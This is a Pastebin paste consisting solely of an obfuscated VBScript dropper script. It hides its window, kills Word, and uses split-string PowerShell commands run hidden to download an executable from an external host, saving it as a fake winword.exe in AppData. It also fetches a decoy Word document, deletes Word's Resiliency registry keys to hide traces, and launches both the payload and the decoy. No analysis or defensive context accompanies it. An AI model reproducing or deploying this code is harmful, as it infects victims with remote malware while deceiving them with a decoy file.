Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script language="VBScript">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 : Set Office = CreateObject( "WScript.Shell" ) : appData = Office.expandEnvironmentStrings("%APPDATA%") & "\winword.exe" : Office.run "pO"+"W"+"ERs"+"HE"+"LL -Window"+"Style Hid"+"den task"+"kill /f /im winword.exe;",0,true : Office.run "pO"+"W"+"ERs"+"HE"+"LL -Window"+"Style Hid"+"den (New"+"-O"+"bje"+"ct Sys"+"tem."+"Ne"+"t.We"+"bClie"+"nt).D"+"ownl"+"oad"+"F"+"ile('HTTP:/'+'/'+'centerweb.es/soporte/.eval/en/temp/aap2.exe', '%appdata%\winword.exe');",0,true : Office.run "pO"+"W"+"ERs"+"HE"+"LL -Window"+"Style Hid"+"den (New"+"-O"+"bje"+"ct Sys"+"tem."+"Ne"+"t.We"+"bClie"+"nt).D"+"ownl"+"oad"+"F"+"ile('HTTP:/'+'/'+'centerweb.es/soporte/.eval/en/temp/decoy.doc', '%AppData%\Docx.doc');",0,false : Office.run "pO"+"W"+"ERs"+"HE"+"LL -Window"+"Style Hid"+"den Rem"+"ove-I"+"tem -Path HKCU:\Software\Microsoft\Office\12.0\Word\Resiliency -recurse;Rem"+"ove-I"+"tem -Path HKCU:\Software\Microsoft\Office\14.0\Word\Resiliency -recurse;Rem"+"ove-I"+"tem -Path HKCU:\Software\Microsoft\Office\15.0\Word\Resiliency -recurse;Re"+"move"+"-I"+"tem -Path HKCU:\Software\Microsoft\Office\16.0\Word\Resiliency -recurse;",0,true : Office.run """" & appData & """",0,false : Office.run "CM"+"D."+"E"+"XE "+" '/c start /MAX """" winword /q ""%AppData%\Docx.doc""",0,false : self.close</script>
Advertisement
Add Comment
Please, Sign In to add comment
